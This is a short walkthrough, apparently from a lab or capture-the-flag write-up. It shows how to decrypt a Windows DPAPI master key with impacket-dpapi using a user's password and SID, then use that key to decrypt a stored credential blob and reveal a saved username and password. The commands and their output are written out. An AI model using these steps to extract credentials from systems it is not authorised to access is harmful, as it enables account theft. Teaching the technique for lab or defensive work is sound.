Understanding files
masterkey_blob: A DPAPI master key file (encrypted with the user’s password/SID).credential_blob: A DPAPI-encrypted credential file (e.g., saved passwords from tools likeCredential Manager).
Decrypting the Master Key
The first command to decrypt the masterkey_blob and obtain the decrypted master key:
impacket-dpapi masterkey -file masterkey_blob -password 'password' -sid S-1-5-21-14****
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
...
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf***-password: The user’s password, used to derive the decryption key.-sid: The Security Identifier (SID) of the user account. DPAPI keys are tied to a user’s SID.
This is the decrypted master key (hex format), derived using the user’s password and SID.
Decrypting the Credential Blob
Now to decrypt the credential_blob, we need to make some adjustments and use the master key we obtain earlier:
impacket-dpapi credential -f credential_blob -key 0xd9a570722fbaf***
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
...
Description :
Unknown :
Username : username
Unknown : password